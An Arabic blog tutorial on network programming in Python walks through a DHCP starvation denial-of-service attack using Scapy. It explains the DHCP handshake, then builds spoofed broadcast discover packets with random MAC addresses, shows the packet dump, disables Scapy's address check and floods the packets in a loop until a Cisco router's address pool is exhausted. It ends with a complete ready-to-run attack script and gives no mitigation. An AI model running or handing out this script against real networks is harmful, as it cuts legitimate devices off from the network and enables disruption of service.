الاثنين، 11 أكتوبر 2021

بايثون للشبكات : تعطيل برتوكول DHCP بواسطة Scapy

بسم الله الرحمن الرحيم

 برتوكول Dynamic Host Control Protocol أو اختصارا DHCP تتلخص مهمته الأساسية في توفير عناوين الأنترنت (IP Address) بشكل ألي للأجهزة المتصلة بالشبكة , البرتوكول مفيد جدا و مستخدم بشكل كبير في الشبكات المنزلية .

في هذه التدوينة سوف نعرض شرح بسيط لخوازمية البرتوكول و تطبيق عملي لهجوم حجب الخدمة أو DDOS و الذي يعرف بهجوم DHCP starvation بواسطة مكتبة scapy.

قبل ان نبدأ لتثبيت المكتبة في ويندوز و لينكس اتبع الخطوات في هذا التدوينة .

 

  • برتوكول DHCP 

    برتوكول DHCP برتوكول يقع في طبقة التطبيقات في تمثيل OSI الخاص بالشبكات 
     
    يستخدم البرتوكول UDP على المنفذ 67 لرسائل الخادم (Server) و المنفذ  68 لرسائل العميل (Client) .

    تتلخص عملية الاتصال بالخطوات التالية :
     
    مصدر الصورة :https://en.wikipedia.org
     
    1. يقوم العميل بأرسال حزمة انترنت (Internet Packet) تحمل العنوان الخاص بالمرسل هو عنوان الأنترنت 0.0.0.0 و عنوان المستقبل 255.255.255.255 هذا العنوان يعني أنه سوف يتم ارسال هذه الحزمة للجميع , اما عن اطار الأيثرنت الذي يحتوي على هذه الحزمة فالعنوان الفيزيائي للمرسل هو الخاص ببطاقة الشبكة و العنوان المرسل إليه يكون العنوان الخاص ff:ff:ff:ff:ff:ff الذي يعني أن هذا الأطار سيتم بثه إلى جميع الأجهزة في الشبكة , في حالة عدم وجود استجابة لهذه الرسالة سيتم تجديد ارسالها على الشبكة إلى أن يحصل رد .
    2. عند وصول الطلب إلى الخادم يرد برسالة تعرض عنوان الانترنت المقترح .
    3. يرد العميل باستخدام رسالة طلب عنوان ( Request ) تحتوي على العنوان الذي تم اختياره و عنوان الخادم , يستطيع العميل استقبال رسائل من اكثر من خادم لكن يجب ان يرد على خادم واحد فقط , لذا يحتوي على معرف الخادم و عنوان الانترنت الخاص به , لأنه في هذه المرحلة لن يكون للعميل عنوان انترنت فسيتم بث هذه الرسالة للكل على نفس العنوان كما في الخطوة الأولى .
    4. المرحلة الأخيرة يرسل الخادم رسالة تبين وقت صلاحية العنوان قبل أن يحتاج الجهاز لطلب عنوان مرة أخرى و هذا الوقت يعتمد على اعدادات الخادم كما يتم توفير اي معلومات اضافية طلبها العميل في مرحلة الأكتشاف مثل عنوانين خوادم WINE و DNS و NTP و عنوان Gateway .


  • مزايا و العيوب في برتوكول DHCP

    برتوكول DHCP مفيد جدا و مستخدم بشكل كبير , تخيل فقط كمية الجهد للإعداد كل جهاز في شبكة تتغير فيها الأجهزة بشكل دائم أو تخيل تكليف شخص غير متخصص بوضع هذه الإعدادت احتمال حصول خطأ كبير جدا , لكن هناك عيب كبير في هذا البرتوكول و هو عدم وجود أي الية لتحكم في وصول المستخدم فأي طلب للحصول على عنوان سوف يتم تنفيذه من دون التحقق من صحة و مصداقية الطلب , ماذا لو قام شخص بتوليد طلبات للحصول على جميع العنوانين في الشبكة و حجزها بشكل دائما , لن يجد أي جهاز حقيقي يحاول الأتصال أي عنوان مما يؤدي لعدم قدرته على الاتصال و هذا ما سوف نستخدمه في هذه التدونية , بكل بساطة سوف نستخدم بايثون لتوليد عدد كبير من الطلبات المزيفة .




    • الأدوات

سوف نستخدم في برمجتنا لهذا السكريبت مكتبة  Scapy التي تعمل على لغة بايثون لكي تتعرف على طريقة التثبيت قم بالدخول على هذه التدوينة .

هناك ايضا شرح لموجه الأوامر الخاص بالمكتبة Scapy الذي سنتخدمه ايضا لشرح الكيفية التي سيعمل بها البرنامج


  • خطوة بخطوة

    من موجه التفاعلي للمكتبة Scapy بنبدأ في الطبقة الأولى من الأطار (frame) و هو أطار Ethernet :
     
    pkt = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff")
    
     
    الأطار بسيط فقط حددنا العنوان المرسل له وهو ff:ff:ff:ff:ff:ff و هو العنوان الخاص بعملية Broadcast في برتوكول Ethernet أما العنوان الخاص بالمرسل فاستخدمنا الدالة RandMAC تولد هذه الدالة عنوان فيزيائي عشوائي , نحتاج هنا لإرسال العديد من الطلبات بعنوان غير حقيقة و هنا هذه الدالة ستقوم بالعمل و الأن إلى الطبقة الثانية .
     
    pkt = pkt / IP(src="0.0.0.0",dst="255.255.255.255")
    
     
     الطبقة الثانية هي برتوكول IP سوف نحدد فقط العنوان المرسل كعنوان المرسل سيكون العنوان الخاص 0.0.0.0 , هذا العنوان يستخدم لدلالة على عدم وجود عنوان ففي هذه المرحلة لا يملك الجهاز عنوان انترنت , اما العنوان الخاص بالمرسل إليه 255.255.255.255 فهو عنوان خاص بعملية الارسال لجميع الأجهزة أو broadcast .

    pkt = pkt / UDP(sport=68,dport=67)
    
     
     و الأن إلى انشاء حزمة برتوكول UDP  و تحديد المنفذ المحلي برقم 68 و المنفذ الهدف بالرقم 67 , فقط هذا ما نحتاج له .

    pkt = pkt / BOOTP(op=1,chaddr=RandMAC())
    
     
     هنا سنضيف طبقة خاصة ببرتوكول BOOTP , هذا البرتوكول اقدم من برتوكول DHCP و يقول بنفس العمل , لكن كان يستخدم لعملية اعطاء الأجهزة عديمة الأقراص عنوان انترنت و تحميل النظام من الشبكة و هو يعمل على نفس المنافذ الذي يستخدمها برتوكول DHCP لذا لا يمكن ان يعملا على نفس الجهاز , المتغير op يحتمل قيمتين فقط 1 و 2 القيمة 1 ترمز لـ BOOTREQUEST اي طلب برتوكول BOOTP و القيمة 2 ترمز لــ
    BOOTREPLY  اي رد على طلب خاص بهذا البرتوكول , أما المتغير chaddr فهو اختصار لـ Client Hardware Address أي العنوان الفيزيائي للعميل و هنا استخدمنا ايضا الدالة RandMAC لتوليد عنوانين عشوائية .
     

    pkt = pkt / DHCP(options=[('message-type','discover'),('end')])
    
     
     
    المعلومات التي ترسل المطلوبة و التي يوفرها الخادم كلهما يرسل عن طريق رقم يدل على الأختيار Options , لكن scapy تستخدم قيمة نصية تدل على نوع الأختيار ثم قيمته و يتم وضعها في tuple كمثالنا ('message-type','discover') أما التمثيل في الحزمة فيكون قيمة رقمية ثم طول القيمة بالبايت ثم القيمة , و في نهاية الحزمة يجب وضع end و التي هي عبارة عن القيمة ff أو بالتمثيل العشري 255 .

    'طبعا scapy يقوم بالاهتمام بالكثير من التفاصيل بدل ترك المستخدم يهتم بكل شيء و لكي تعرض الحزمة التي قمنا بأنشاءها استخدم الدالة show2 كالتالي :


     
    ###[ Ethernet ]### 
      dst= ff:ff:ff:ff:ff:ff
      src= 61:bf:93:29:c6:e5
      type= IPv4
    ###[ IP ]### 
         version= 4
         ihl= 5
         tos= 0x0
         len= 272
         id= 1
         flags= 
         frag= 0
         ttl= 64
         proto= udp
         chksum= 0x79dd
         src= 0.0.0.0
         dst= 255.255.255.255
         \options\
    ###[ UDP ]### 
            sport= bootpc
            dport= bootps
            len= 252
            chksum= 0xea44
    ###[ BOOTP ]### 
               op= BOOTREQUEST
               htype= 1
               hlen= 6
               hops= 0
               xid= 0
               secs= 0
               flags= 
               ciaddr= 0.0.0.0
               yiaddr= 0.0.0.0
               siaddr= 0.0.0.0
               giaddr= 0.0.0.0
               chaddr= b'e5:a4:e8:d9:77:e'
               sname= b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
               file= b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
               options= 'c\x82Sc'
    ###[ DHCP options ]### 
                  options= [message-type=discover end]
    
     
 
و الأن قبل أن نبدأ بالارسال هنالك مشكلة scapy دائما يتأكد من عنوان المرسل إليه عند وصول الرد و في الرسالة التي نرسلها سيكون العنوان 255.255.255.255 و لكن الرد سيحمل عنوان الخادم الخاص ببرتوكول DHCP لذا يجب ان نعطل هذه الخاصية باستخدام هذا السطر :
 
conf.checkIPaddr = False
 
 
 و الأن إلى السطر الأخير و هو سطر الأرسال :
 
sendp(pkt,loop=1)
 
 في حالة عدم تحديد المنفذ او ما يسمى بــ" interface " سيتم الأرسال على المنفذ الافتراضي الذي تستطيع معرفته بواسطة :
 
conf.iface
 
و لتحديد المنفذ في امر الأرسال استخدم المتغير iface في امر الأرسال كالتالي :
 
sendp(pkt,iface="eth0",loop=1)
 
 و هذا هو نتيجة تنفيذ البرنامج على رواتر سيسكو عند تنفيذ الأمر الخاص بعرض العنوانين المحجوزة في خادم DHCP :

show ip dhcp binding



تلاحظ بأن العنوانين جميعها محجوزة لذا أذا حاول أي جهاز حقيقي طلب عنوان من خادم DHCP لين يقدم له الخادم عنوان لعدم توافره لكن يأتي السؤال هنا لماذا يتم حجز هذه العناوين برغم أنه لن تتكمل عملية المصادقة فقط قمنا بأرسال طلب عنوان فقط , ببساطة يقوم الخادم بحجز العنوان مباشرة لأنه يقوم بأرسال العنوان في رسالة DHCP Offering بحسب تصميم البرتوكول , لذا في حالة وقف الهجوم سوف يتم تحرير العنوانين في وقت قصير لعدم اكتمال عملية حجز العنوان .

  • السكريبت المكتمل 


     

    * تم وضع صورة للنص البرمجي بسبب وجود مشكلة في النص حيث أن العلامة \ تظهر في اول السطر بدل أن تكون في أخر كل سطر .
#!/usr/bin/python3
from scapy.all import conf,Ether,IP,RandMAC,UDP,BOOTP,DHCP,sendp

conf.checkIPaddr = False


dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff",src=RandMAC()) \
/IP(src="0.0.0.0",dst="255.255.255.255") \
/UDP(sport=68,dport=67) \
/BOOTP(op=1,chaddr=RandMAC()) \
/DHCP(options=[('message-type','discover'),('end')])

#غير الواجهة بحسب جهازك
sendp(dhcp_discover,iface="eth0",loop=1,verbose=1)
 
 
 
  • المصادر 


    لقد أعتمدت في كتابة هذا الموضوع على هذا الفيديو و انصح بمشاهدته و متابعة هذا القناة:


 و النهاية  ان شاء الله يكون الشرح بسيط و مفيد و إذا في خطأ او أضافة أو سؤال تقد تتواصل معي على المدونة مباشرة بالتعليقات .

 
 

ليست هناك تعليقات:

إرسال تعليق